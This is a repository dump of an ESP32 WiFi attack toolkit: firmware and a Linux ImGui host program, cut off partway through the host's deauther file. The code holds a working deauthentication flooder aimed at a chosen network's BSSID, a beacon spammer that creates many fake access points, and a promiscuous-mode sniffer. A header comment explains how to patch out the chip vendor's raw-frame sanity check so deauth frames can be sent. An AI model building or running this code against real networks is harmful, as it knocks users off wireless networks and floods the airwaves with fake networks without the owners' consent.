├── ESPCode ├── sdkconfig.ci ├── main │ ├── CMakeLists.txt │ ├── espFrameSanityCheckHack.h │ ├── wifiInit.h │ ├── main.c │ ├── deauther.h │ ├── frameContents.h │ ├── beaconSniffer.h │ └── beaconSpammer.h ├── .vscode │ ├── launch.json │ ├── c_cpp_properties.json │ ├── settings.json │ └── tasks.json ├── CMakeLists.txt ├── .devcontainer │ ├── Dockerfile │ └── devcontainer.json ├── sdkconfig └── sdkconfig.old ├── .gitignore ├── .gitmodules ├── .vscode ├── settings.json └── c_cpp_properties.json ├── HostCode ├── .vscode │ └── c_cpp_properties.json ├── CMakeLists.txt ├── uiHelper.h ├── interface.h ├── ArduinoSerialIO │ ├── README.md │ └── arduinoSerial.hpp ├── deauther.h ├── main.cpp ├── beaconSpammer.h ├── beaconSniffer.h └── networksList.h └── README.md /ESPCode/sdkconfig.ci: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | */build/* 2 | 3 | *.out 4 | HostCode/.vscode/settings.json 5 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "HostCode/Interface/ArduinoSerialIO"] 2 | path = HostCode/Interface/ArduinoSerialIO 3 | url = https://www.github.com/lj3d/ArduinoSerialIO 4 | -------------------------------------------------------------------------------- /ESPCode/main/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | idf_component_register(SRCS "main.c" 2 | INCLUDE_DIRS "") 3 | 4 | target_compile_options(${COMPONENT_LIB} PRIVATE "-Wno-format") 5 | -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "cmake.sourceDirectory": "${workspaceFolder}/ESPCode", 3 | "files.associations": { 4 | "array": "cpp", 5 | "string_view": "cpp" 6 | } 7 | } -------------------------------------------------------------------------------- /ESPCode/.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "0.2.0", 3 | "configurations": [ 4 | { 5 | "type": "espidf", 6 | "name": "Launch", 7 | "request": "launch" 8 | } 9 | ] 10 | } -------------------------------------------------------------------------------- /ESPCode/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # The following lines of boilerplate have to be in your project's 2 | # CMakeLists in this exact order for cmake to work correctly 3 | cmake_minimum_required(VERSION 3.16) 4 | 5 | include($ENV{IDF_PATH}/tools/cmake/project.cmake) 6 | project(ESP32WifiHacks) 7 | -------------------------------------------------------------------------------- /.vscode/c_cpp_properties.json: -------------------------------------------------------------------------------- 1 | { 2 | "configurations": [ 3 | { 4 | "name": "Linux", 5 | "includePath": [ 6 | "${workspaceFolder}/**" 7 | ], 8 | "defines": [], 9 | "compilerPath": "/usr/bin/clang", 10 | "cStandard": "c17", 11 | "cppStandard": "c++20", 12 | "intelliSenseMode": "linux-clang-x64" 13 | } 14 | ], 15 | "version": 4 16 | } -------------------------------------------------------------------------------- /HostCode/.vscode/c_cpp_properties.json: -------------------------------------------------------------------------------- 1 | { 2 | "configurations": [ 3 | { 4 | "name": "Linux", 5 | "includePath": [ 6 | "${workspaceFolder}/**" 7 | ], 8 | "defines": [], 9 | "compilerPath": "/usr/bin/clang", 10 | "cStandard": "c17", 11 | "cppStandard": "c++20", 12 | "intelliSenseMode": "linux-clang-x64" 13 | } 14 | ], 15 | "version": 4 16 | } -------------------------------------------------------------------------------- /HostCode/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | include(FetchContent) 2 | cmake_minimum_required(VERSION 3.17) 3 | 4 | project(ESP32WifiHacksInterface) 5 | 6 | set(CMAKE_CXX_STANDARD 20) 7 | set(CMAKE_BUILD_TYPE Debug) 8 | 9 | set(BUILD_SHARED_LIBS OFF) 10 | FetchContent_Declare( 11 | imgui-glfw-glad-glm 12 | GIT_REPOSITORY https://github.com/LJ3D/imgui-glfw-glad-glm 13 | ) 14 | FetchContent_MakeAvailable(imgui-glfw-glad-glm) 15 | 16 | add_executable(ESP32HacksInterface main.cpp) 17 | 18 | target_link_libraries( 19 | ESP32HacksInterface 20 | imgui 21 | glm 22 | ) 23 | -------------------------------------------------------------------------------- /ESPCode/main/espFrameSanityCheckHack.h: -------------------------------------------------------------------------------- 1 | /* 2 | ==== MUST DO TO GET DEAUTH TO WORK ==== 3 | 4 | * Make a copy of "libnet80211.a" -> "libnet80211.a.old" 5 | * Run ~/.espressif/tools/xtensa-esp32-elf/esp-2020r3-8.4.0/xtensa-esp32-elf/bin/xtensa-esp32-elf-objcopy --weaken-symbol=ieee80211_raw_frame_sanity_check ~/esp/esp-idf/components/esp_wifi/lib/esp32/libnet80211.a ~/esp/esp-idf/components/esp_wifi/lib/esp32/libnet80211.a2 6 | * Copy libnet80211.a2 in place of libnet80211.a 7 | 8 | Now "ieee80211_raw_frame_sanity_check" is a weak link that will be overridden by the function with the same name from the project 9 | 10 | */ 11 | 12 | #ifdef __cplusplus 13 | extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3) { 14 | return 0; 15 | } 16 | #else 17 | int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3) { 18 | return 0; 19 | } 20 | #endif 21 | -------------------------------------------------------------------------------- /HostCode/uiHelper.h: -------------------------------------------------------------------------------- 1 | /* 2 | File copypasted from TorPlusPlus 3 | */ 4 | 5 | #pragma once 6 | 7 | #include 8 | 9 | namespace uiHelper{ 10 | 11 | /* 12 | Set the size and position of the next window using normalised screen coordinates 13 | */ 14 | void setNextWindowSizeNormalised(float wStartXNorm, 15 | float wStartYNorm, 16 | float wEndXNorm, 17 | float wEndYNorm, 18 | ImGuiCond condition=ImGuiCond_Always){ 19 | int wStartX = wStartXNorm * ImGui::GetIO().DisplaySize.x; 20 | int wStartY = wStartYNorm * ImGui::GetIO().DisplaySize.y; 21 | int wWidth = (wEndXNorm * ImGui::GetIO().DisplaySize.x) - wStartX; 22 | int wHeight = (wEndYNorm * ImGui::GetIO().DisplaySize.y) - wStartY; 23 | ImGui::SetNextWindowPos(ImVec2(wStartX, wStartY), condition); 24 | ImGui::SetNextWindowSize(ImVec2(wWidth, wHeight), condition); 25 | } 26 | 27 | }; // namespace uiHelper -------------------------------------------------------------------------------- /ESPCode/main/wifiInit.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | void wifiInit(bool promiscuous){ 4 | wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); 5 | ESP_ERROR_CHECK(esp_event_loop_create_default()); 6 | ESP_ERROR_CHECK(esp_wifi_init(&cfg)); 7 | ESP_ERROR_CHECK(esp_wifi_set_storage(WIFI_STORAGE_RAM)); 8 | ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_AP)); 9 | wifi_config_t ap_config = { 10 | .ap = { 11 | .ssid = " ", 12 | .ssid_len = 0, 13 | .password = "7fd6v24sg", 14 | .channel = 11, 15 | .authmode = WIFI_AUTH_WPA2_PSK, 16 | .ssid_hidden = 1, 17 | .max_connection = 4, 18 | .beacon_interval = 100 19 | } 20 | }; 21 | ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &ap_config)); 22 | ESP_ERROR_CHECK(esp_wifi_set_promiscuous(promiscuous)); 23 | ESP_ERROR_CHECK(esp_wifi_start()); 24 | ESP_ERROR_CHECK(esp_wifi_set_ps(WIFI_PS_NONE)); 25 | } 26 | 27 | void wifiDeInit(){ 28 | ESP_ERROR_CHECK(esp_wifi_stop()); 29 | ESP_ERROR_CHECK(esp_wifi_deinit()); 30 | ESP_ERROR_CHECK(esp_event_loop_delete_default()); 31 | ESP_ERROR_CHECK(esp_wifi_set_promiscuous(false)); 32 | } -------------------------------------------------------------------------------- /HostCode/interface.h: -------------------------------------------------------------------------------- 1 | #include "networksList.h" 2 | #include "beaconSniffer.h" 3 | #include "beaconSpammer.h" 4 | #include "deauther.h" 5 | 6 | class ESP32Interface{ 7 | private: 8 | std::string port; 9 | int baudrate; 10 | networksList networks; 11 | beaconSniffer sniffer; 12 | beaconSpammer spammer; 13 | deauther deauth; 14 | std::mutex espMutex; 15 | 16 | public: 17 | 18 | ESP32Interface(std::string port="/dev/ttyUSB0", int baudrate=B115200){ 19 | this->port = port; 20 | this->baudrate = baudrate; 21 | this->sniffer.config(&this->networks, port, baudrate, &espMutex); 22 | this->spammer.config(port, baudrate, &espMutex); 23 | this->deauth.config(&this->networks, port, baudrate, &espMutex); 24 | } 25 | 26 | ~ESP32Interface(){ 27 | } 28 | 29 | void update(){ 30 | this->networks.draw(0, 0, 1, 0.75, ImGuiCond_Always); 31 | this->sniffer.draw(0, 0.76, 0.33, 1, ImGuiCond_Always); 32 | this->spammer.draw(0.34, 0.76, 0.66, 1, ImGuiCond_Always); 33 | this->deauth.draw(0.67, 0.76, 1, 1, ImGuiCond_Always); 34 | } 35 | 36 | }; -------------------------------------------------------------------------------- /ESPCode/.devcontainer/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM espressif/idf 2 | 3 | ARG DEBIAN_FRONTEND=nointeractive 4 | 5 | RUN apt-get update \ 6 | && apt install -y -q \ 7 | cmake \ 8 | git \ 9 | hwdata \ 10 | libglib2.0-0 \ 11 | libnuma1 \ 12 | libpixman-1-0 \ 13 | linux-tools-virtual \ 14 | && rm -rf /var/lib/apt/lists/* 15 | 16 | RUN update-alternatives --install /usr/local/bin/usbip usbip `ls /usr/lib/linux-tools/*/usbip | tail -n1` 20 17 | 18 | # QEMU 19 | ENV QEMU_REL=esp-develop-20220919 20 | ENV QEMU_SHA256=f6565d3f0d1e463a63a7f81aec94cce62df662bd42fc7606de4b4418ed55f870 21 | ENV QEMU_DIST=qemu-${QEMU_REL}.tar.bz2 22 | ENV QEMU_URL=https://github.com/espressif/qemu/releases/download/${QEMU_REL}/${QEMU_DIST} 23 | 24 | ENV LC_ALL=C.UTF-8 25 | ENV LANG=C.UTF-8 26 | 27 | RUN wget --no-verbose ${QEMU_URL} \ 28 | && echo "${QEMU_SHA256} *${QEMU_DIST}" | sha256sum --check --strict - \ 29 | && tar -xf $QEMU_DIST -C /opt \ 30 | && rm ${QEMU_DIST} 31 | 32 | ENV PATH=/opt/qemu/bin:${PATH} 33 | 34 | RUN echo "source /opt/esp/idf/export.sh > /dev/null 2>&1" >> ~/.bashrc 35 | 36 | ENTRYPOINT [ "/opt/esp/entrypoint.sh" ] 37 | 38 | CMD ["/bin/bash"] -------------------------------------------------------------------------------- /ESPCode/.devcontainer/devcontainer.json: -------------------------------------------------------------------------------- 1 | // For format details, see https://aka.ms/devcontainer.json. For config options, see the README at: 2 | // https://github.com/microsoft/vscode-dev-containers/tree/v0.183.0/containers/ubuntu 3 | { 4 | "name": "ESP-IDF QEMU", 5 | "build": { 6 | "dockerfile": "Dockerfile" 7 | }, 8 | // Add the IDs of extensions you want installed when the container is created. 9 | "extensions": [ 10 | "ms-vscode.cpptools", 11 | "espressif.esp-idf-extension" 12 | ], 13 | "workspaceMount": "source=${localWorkspaceFolder},target=/workspaces,type=bind", 14 | /* the path of workspace folder to be opened after container is running 15 | */ 16 | "workspaceFolder": "/workspaces", 17 | "mounts": [ 18 | "source=extensionCache,target=/root/.vscode-server/extensions,type=volume" 19 | ], 20 | "settings": { 21 | "terminal.integrated.defaultProfile.linux": "bash", 22 | "idf.espIdfPath": "/opt/esp/idf", 23 | "idf.customExtraPaths": "", 24 | "idf.pythonBinPath": "/opt/esp/python_env/idf5.1_py3.8_env/bin/python", 25 | "idf.toolsPath": "/opt/esp", 26 | "idf.gitPath": "/usr/bin/git" 27 | }, 28 | "runArgs": ["--privileged"] 29 | } -------------------------------------------------------------------------------- /ESPCode/.vscode/c_cpp_properties.json: -------------------------------------------------------------------------------- 1 | { 2 | "configurations": [ 3 | { 4 | "name": "ESP-IDF", 5 | "compilerPath": "/home/lucian/.espressif/tools/xtensa-esp32-elf/esp-2022r1-11.2.0/xtensa-esp32-elf/bin/xtensa-esp32-elf-gcc", 6 | "cStandard": "c11", 7 | "cppStandard": "c++17", 8 | "includePath": [ 9 | "${config:idf.espIdfPath}/components/**", 10 | "${config:idf.espIdfPathWin}/components/**", 11 | "${config:idf.espAdfPath}/components/**", 12 | "${config:idf.espAdfPathWin}/components/**", 13 | "${workspaceFolder}/**" 14 | ], 15 | "browse": { 16 | "path": [ 17 | "${config:idf.espIdfPath}/components", 18 | "${config:idf.espIdfPathWin}/components", 19 | "${config:idf.espAdfPath}/components/**", 20 | "${config:idf.espAdfPathWin}/components/**", 21 | "${workspaceFolder}" 22 | ], 23 | "limitSymbolsToIncludedHeaders": false 24 | } 25 | } 26 | ], 27 | "version": 4 28 | } 29 | -------------------------------------------------------------------------------- /ESPCode/main/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "freertos/FreeRTOS.h" 5 | #include "esp_system.h" 6 | #include "esp_event.h" 7 | #include "esp_wifi.h" 8 | #include "esp_wifi_types.h" 9 | #include "nvs_flash.h" 10 | 11 | #include "beaconSniffer.h" 12 | #include "beaconSpammer.h" 13 | #include "deauther.h" 14 | #include "espFrameSanityCheckHack.h" 15 | 16 | void app_main(void){ 17 | //Initialize NVS 18 | esp_err_t ret = nvs_flash_init(); 19 | if (ret == ESP_ERR_NVS_NO_FREE_PAGES || ret == ESP_ERR_NVS_NEW_VERSION_FOUND) { 20 | ESP_ERROR_CHECK(nvs_flash_erase()); 21 | ret = nvs_flash_init(); 22 | } 23 | ESP_ERROR_CHECK(ret); 24 | 25 | // Wait for command from host 26 | // Commands: 27 | // 's' - Start beacon sniffing. Exits on 'q' 28 | // "b0x030x03\n" - Start sending out beacons with the given SSIDs. Exits on 'q' 29 | while(1){ 30 | vTaskDelay(10 / portTICK_PERIOD_MS); // 10ms delay to reduce CPU usage 31 | 32 | int c = getchar(); 33 | if(c == 's'){ 34 | runBeaconSniffer(); 35 | }else if(c == 'b'){ 36 | runBeaconSpammer(); 37 | }else if(c == 'd'){ 38 | runDeauther(); 39 | } 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ESP32WifiHacks 2 | Easy to use WiFi tools for the ESP32. Graphical interface provided via IMGUI. 3 | 4 | Created as a bit of an experiment, not entirely practical, but neat. 5 | 6 | ![image](https://user-images.githubusercontent.com/65134690/221854171-6e5a74c0-b164-4a0f-adb9-0bd12d759464.png) 7 | 8 | # Platform support 9 | Linux-only due to limitations of the ArduinoSerialIO library, but an update to that library should result in it working cross-platform just fine (maybe I should do that some time). 10 | 11 | # Features 12 | * Sniff wifi traffic (Data, beacons, deauth, see image about) 13 | * Simple deauth against an AP (Currently will likely not work against almost any device) 14 | * Spam beacon frames (Create many fake access points, see image below) 15 | 16 | 17 | # Setup 18 | ## Using the ESP-IDF to flash the ESP32 19 | * https://github.com/espressif/vscode-esp-idf-extension/blob/master/docs/tutorial/install.md 20 | * Open the "espcode" folder 21 | * Build the project and flash it to the ESP32 22 | 23 | ## Compiling the host program 24 | Create a build directory: 25 | * `cd HostCode` 26 | * `mkdir build` 27 | * `cd build` 28 | 29 | Use CMake to compile: 30 | * `cmake .. && cmake --build .` 31 | 32 | ## Using the host program 33 | Run the host program, specifying the serial port to open. 34 | For example: `./ESP32HacksInterface /dev/ttyUSB0` 35 | -------------------------------------------------------------------------------- /HostCode/ArduinoSerialIO/README.md: -------------------------------------------------------------------------------- 1 | # ArduinoSerialIO 2 | ## Header file for communicating easily with an arduino via /dev/ttyACM_ written in C++. (Linux only) 3 | 4 | This bit of code is useful for programming serial communication with an arduino, since its set up to behave in a very similar way to the Serial functions on the arduino itself. 5 | This code should work for all kinds of serial devices, not just arduinos (I have used this code for some ESP32 stuff) 6 | 7 | ## Public functions 8 | ``` 9 | unsigned int available(); 10 | void begin(unsigned long baudRate); 11 | void end(); 12 | bool find(char target); 13 | bool find(std::string targetStr); 14 | bool findUntil(char target, char terminator); 15 | bool findUntil(std::string targetStr, char terminator); 16 | void flush(); 17 | float parseFloat(); 18 | long parseInt(); 19 | void print(std::string str); 20 | void print(char c); 21 | void print(int num); 22 | void print(float num); 23 | void println(std::string str); 24 | void println(char c); 25 | void println(int num); 26 | void println(float num); 27 | int read_s(); // read_s() is used instead of read() because read() is already taken by the C library. >:( 28 | size_t readBytes(char *buffer, size_t length); 29 | size_t readBytesUntil(char terminator, char *buffer, size_t length); 30 | std::string readString(); 31 | std::string readStringUntil(char terminator); 32 | void setTimeout(unsigned long timeout); 33 | size_t write_s(char byte); // Named like read_s for the same reason 34 | size_t write_s(char *buffer, size_t size); 35 | ``` 36 | If youve done some serial stuff on arduinos before, this should hopefully be very familiar. 37 | -------------------------------------------------------------------------------- /ESPCode/.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "C_Cpp.intelliSenseEngine": "Tag Parser", 3 | "idf.adapterTargetName": "esp32", 4 | "idf.customExtraPaths": "/home/lucian/.espressif/tools/xtensa-esp-elf-gdb/11.2_20220823/xtensa-esp-elf-gdb/bin:/home/lucian/.espressif/tools/riscv32-esp-elf-gdb/11.2_20220823/riscv32-esp-elf-gdb/bin:/home/lucian/.espressif/tools/xtensa-esp32-elf/esp-2022r1-11.2.0/xtensa-esp32-elf/bin:/home/lucian/.espressif/tools/xtensa-esp32s2-elf/esp-2022r1-11.2.0/xtensa-esp32s2-elf/bin:/home/lucian/.espressif/tools/xtensa-esp32s3-elf/esp-2022r1-11.2.0/xtensa-esp32s3-elf/bin:/home/lucian/.espressif/tools/riscv32-esp-elf/esp-2022r1-11.2.0/riscv32-esp-elf/bin:/home/lucian/.espressif/tools/esp32ulp-elf/2.35_20220830/esp32ulp-elf/bin:/home/lucian/.espressif/tools/cmake/3.24.0/bin:/home/lucian/.espressif/tools/openocd-esp32/v0.11.0-esp32-20221026/openocd-esp32/bin:/home/lucian/.espressif/tools/ninja/1.10.2", 5 | "idf.customExtraVars": "{\"OPENOCD_SCRIPTS\":\"/home/lucian/.espressif/tools/openocd-esp32/v0.11.0-esp32-20221026/openocd-esp32/share/openocd/scripts\"}", 6 | "idf.espIdfPath": "/home/lucian/esp/esp-idf", 7 | "idf.openOcdConfigs": [ 8 | "board/esp32-wrover-kit-3.3v.cfg" 9 | ], 10 | "idf.port": "/dev/ttyUSB0", 11 | "idf.pythonBinPath": "/home/lucian/.espressif/python_env/idf5.0_py3.10_env/bin/python", 12 | "idf.toolsPath": "/home/lucian/.espressif", 13 | "idf.flashType": "UART", 14 | "files.associations": { 15 | "esp_wifi_types.h": "c", 16 | "esp_system.h": "c", 17 | "string.h": "c", 18 | "freertos.h": "c", 19 | "random": "c", 20 | "array": "cpp", 21 | "fstream": "cpp", 22 | "istream": "cpp", 23 | "limits": "cpp", 24 | "functional": "cpp", 25 | "regex": "cpp", 26 | "typeinfo": "cpp" 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /ESPCode/main/deauther.h: -------------------------------------------------------------------------------- 1 | #include "esp_log.h" 2 | #include "wifiInit.h" 3 | #include "frameContents.h" 4 | 5 | /* 6 | This declaration gives access to the esp_wifi_80211_tx function, 7 | which gives the ability to send raw arbitrary 802.11 frames. 8 | */ 9 | esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, bool en_sys_seq); 10 | 11 | uint8_t* frame; 12 | 13 | void deauther(){ 14 | // Read the target MAC address from the host 15 | uint8_t targetBSSID[6]; 16 | for(int i=0; i<6; i++){ 17 | int c; 18 | do{ 19 | c = getchar(); 20 | }while(c==-1); // If read failed, try again 21 | targetBSSID[i] = c; 22 | } 23 | 24 | // Read the channel from the host 25 | int channel; 26 | do{ 27 | channel = getchar(); 28 | }while(channel==-1); 29 | 30 | ESP_LOGI("deauther", "Target BSSID: %02x:%02x:%02x:%02x:%02x:%02x", targetBSSID[0], targetBSSID[1], targetBSSID[2], targetBSSID[3], targetBSSID[4], targetBSSID[5]); 31 | ESP_LOGI("deauther", "Channel: %d", channel); 32 | 33 | // Assemble the deauth frame 34 | frame = (uint8_t*)malloc(26); 35 | memcpy(frame, deauthFrame_p1, 10); 36 | memcpy(frame+10, targetBSSID, 6); 37 | memcpy(frame+16, targetBSSID, 6); 38 | memcpy(frame+22, deauthFrame_p2, 4); 39 | 40 | while(1){ 41 | // Send the deauth frame every 100ms 42 | esp_wifi_80211_tx(WIFI_IF_AP, frame, 26, false); 43 | vTaskDelay(100 / portTICK_PERIOD_MS); 44 | } 45 | } 46 | 47 | TaskHandle_t deautherTaskHandle; 48 | 49 | void runDeauther(){ 50 | wifiInit(true); 51 | xTaskCreate(deauther, "deauther", 4096, NULL, 5, &deautherTaskHandle); 52 | vTaskDelay(500 / portTICK_PERIOD_MS); // Wait for the task to start 53 | // Start checking for 'q' to stop the task (we can do this now because 500ms is long enough for the deauth task to have read everything it needs from the buffer) 54 | while(getchar() != 'q'){ 55 | vTaskDelay(100 / portTICK_PERIOD_MS); 56 | } 57 | vTaskDelete(deautherTaskHandle); 58 | free(frame); 59 | wifiDeInit(); 60 | } 61 | -------------------------------------------------------------------------------- /ESPCode/main/frameContents.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | /* 4 | === BEACON FRAME === 5 | */ 6 | uint8_t beaconFrame_p1[] = { 7 | 0x80, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 8 | }; 9 | // Source MAC address goes here (6 bytes) 10 | // BSSID goes here (6 bytes) (same as source MAC address) 11 | uint8_t beaconFrame_p2[] = { 12 | 0xc0, 0x05, 0x26, 0x23, 0x00, 0x3f, 0x00, 0x00, 0x00, 0x00, // Seq num + timestamp 13 | 0x64, 0x00, 0x11, 0x04, 0x00, // Beacon interval (set to 300ms) 14 | }; // Default for beacon interval is 100ms 0x64, 0x00 15 | // SSID length goes here (1 byte) 16 | // SSID goes here ( bytes) 17 | uint8_t beaconFrame_p3[] = { 18 | 0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x0c, 0x12, 19 | 0x18, 0x24, 0x32, 0x04, 0x30, 0x48, 0x60, 0x6c, 0x03, 0x01, 20 | }; 21 | // Channel goes here (1 byte) 22 | uint8_t beaconFrame_p4[] = { 23 | 0x05, 0x04, 0x00, 0x02, 0x00, 24 | 0x00, 0x2a, 0x01, 0x04, 0x30, 0x14, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x04, 0x01, 0x00, 0x00, 0x0f, 25 | 0xac, 0x04, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x02, 0x0c, 0x00, 0x2d, 0x1a, 0x2d, 0x09, 0x17, 0xff, 26 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 27 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3d, 0x16, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 28 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0x08, 29 | 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xdd, 0x18, 0x00, 0x50, 0xf2, 0x02, 0x01, 0x01, 30 | 0x01, 0x00, 0x03, 0xa4, 0x00, 0x00, 0x27, 0xa4, 0x00, 0x00, 0x42, 0x43, 0x5e, 0x00, 0x62, 0x32, 31 | 0x2f, 0x00, 0xdd, 0x05, 0x00, 0x16, 0x32, 0x80, 0x00, 0xdd, 0x08, 0x00, 0x50, 0xf2, 0x11, 0x02, 32 | 0x00, 0x00, 0x00, 33 | }; 34 | 35 | /* 36 | === DEAUTH FRAME === 37 | */ 38 | uint8_t deauthFrame_p1[] = { 39 | 0xc0, 0x00, // Frame control 40 | 0x00, 0x00, // Duration 41 | 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination MAC address (broadcast) 42 | }; 43 | // Target AP MAC goes here twice (6x2 bytes) 44 | uint8_t deauthFrame_p2[] = { 45 | 0x00, 0x00, // Seq number 46 | 0x07, 0x00, // Reason code 47 | }; 48 | -------------------------------------------------------------------------------- /ESPCode/main/beaconSniffer.h: -------------------------------------------------------------------------------- 1 | #define channelHopDelay 100 // Delay between channel hops, in ms 2 | 3 | void beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) { 4 | wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf; // Cast the void type into an actual usable packet type 5 | 6 | if(pkt->payload[0] == 0x80){ 7 | printf("==BEGIN BEACON=="); 8 | for(int i=0; irx_ctrl.sig_len; i++) { 9 | printf("%c", pkt->payload[i]); 10 | } 11 | printf("==END BEACON=="); 12 | } 13 | if(pkt->payload[0] == 0x88 || pkt->payload[0] == 0x08){ 14 | printf("==BEGIN TRAFFIC INFO=="); 15 | for(int i=10; i<=21; i++){ // Send the destination and source MAC addresses to the host 16 | printf("%c", pkt->payload[i]); 17 | } 18 | printf("==END TRAFFIC INFO=="); 19 | } 20 | if(pkt->payload[0] == 0xC0){ 21 | printf("==BEGIN DEAUTH INFO=="); 22 | for(int i=4; i<16; i++){ 23 | printf("%c", pkt->payload[i]); 24 | } 25 | printf("==END DEAUTH INFO=="); 26 | } 27 | } 28 | 29 | void beaconSnifferChannelHopper(void* pvParameters) { 30 | int ch = 1; 31 | while(1) { 32 | ESP_ERROR_CHECK(esp_wifi_set_promiscuous(false)); 33 | ESP_ERROR_CHECK(esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE)); 34 | ESP_ERROR_CHECK(esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback)); // Need to re-set the callback function after disabling promiscuous mode 35 | ESP_ERROR_CHECK(esp_wifi_set_promiscuous(true)); 36 | vTaskDelay(channelHopDelay / portTICK_PERIOD_MS); // Wait for 100ms 37 | ch = ch % 13 + 1; // Cycle through channels 1-13 38 | } 39 | } 40 | 41 | TaskHandle_t beaconSnifferTaskHandle; 42 | 43 | /* 44 | Starts the beacon sniffing function, then disables it once 'q' is received from the host 45 | */ 46 | void runBeaconSniffer(){ 47 | wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); 48 | ESP_ERROR_CHECK(esp_wifi_init(&cfg)); 49 | ESP_ERROR_CHECK(esp_wifi_set_storage(WIFI_STORAGE_RAM)); 50 | ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_NULL)); 51 | ESP_ERROR_CHECK(esp_wifi_start()); 52 | ESP_ERROR_CHECK(esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback)); 53 | ESP_ERROR_CHECK(esp_wifi_set_promiscuous(true)); 54 | xTaskCreate(&beaconSnifferChannelHopper, "beaconSnifferChannelHopper", 4096, NULL, 5, &beaconSnifferTaskHandle); 55 | while(getchar() != 'q'){ // Wait for 'q' to be sent by host 56 | vTaskDelay(10 / portTICK_PERIOD_MS); // 10ms delay reduces cpu usage 57 | } 58 | ESP_ERROR_CHECK(esp_wifi_set_promiscuous(false)); 59 | vTaskDelete(beaconSnifferTaskHandle); 60 | ESP_ERROR_CHECK(esp_wifi_stop()); 61 | ESP_ERROR_CHECK(esp_wifi_deinit()); 62 | } 63 | -------------------------------------------------------------------------------- /HostCode/deauther.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | #include 6 | 7 | #include "ArduinoSerialIO/arduinoSerial.hpp" 8 | #include "networksList.h" 9 | 10 | class deauther{ 11 | private: 12 | std::string port; 13 | int baudrate; 14 | arduinoSerial Serial; 15 | networksList* networks; 16 | std::thread deautherThread; 17 | accessPoint target; 18 | std::mutex* espMutex; 19 | 20 | void deauth(){ 21 | // Send the deauth command to the ESP 22 | std::vector deauthCmd; 23 | deauthCmd.push_back('d'); 24 | for(auto c : this->target.BSSID){ 25 | deauthCmd.push_back(c); 26 | } 27 | deauthCmd.push_back(this->target.channel); 28 | Serial.write_s(deauthCmd.data(), deauthCmd.size()); 29 | // Wait until this->deautherRunning is set to false 30 | while(this->deautherRunning){ 31 | // Print anything the ESP sends (for debugging purposes) 32 | int c = this->Serial.read_s(); 33 | if(c != -1 && (c >= 32 && c <= 126 || c == '\n')){ 34 | std::cout << (char)c; 35 | } 36 | } 37 | this->Serial.write_s('q'); // Sending 'q' to the ESP will tell it to stop deauthing 38 | } 39 | 40 | public: 41 | bool deautherRunning = false; 42 | 43 | ~deauther(){ 44 | if(this->deautherRunning){ 45 | this->stopDeauther(); 46 | } 47 | } 48 | 49 | void config(networksList* networks, std::string port, int baudrate, std::mutex* m){ 50 | this->networks = networks; 51 | this->port = port; 52 | this->baudrate = baudrate; 53 | this->espMutex = m; 54 | } 55 | 56 | void draw(float wStartXNorm, 57 | float wStartYNorm, 58 | float wEndXNorm, 59 | float wEndYNorm, 60 | ImGuiCond wCondition=ImGuiCond_Always){ 61 | uiHelper::setNextWindowSizeNormalised(wStartXNorm, 62 | wStartYNorm, 63 | wEndXNorm, 64 | wEndYNorm, 65 | wCondition); 66 | ImGui::Begin("Deauther"); 67 | std::string isRunning = "Deauther is "; 68 | isRunning += this->deautherRunning ? "running" : "not running"; 69 | if(this->deautherRunning){ 70 | ImGui::PushStyleColor(ImGuiCol_Text, ImVec4(1, 0, 0, 1)); 71 | } 72 | ImGui::Text(isRunning.c_str()); 73 | if(this->deautherRunning){ 74 | ImGui::PopStyleColor(); 75 | } 76 | ImGui::Dummy(ImVec2(0, 2)); 77 | if(this->deautherRunning){ 78 | if(ImGui::Button("Stop deauthing")){ 79 | this->stopDeauther(); 80 | } 81 | }else{ 82 | if(ImGui::Button("Start deauthing selected network")){ 83 | this->startDeauther(); 84 | } 85 | } 86 | std::string selectedNet = this->networks->getSelectedAccessPoint().SSID; 87 | 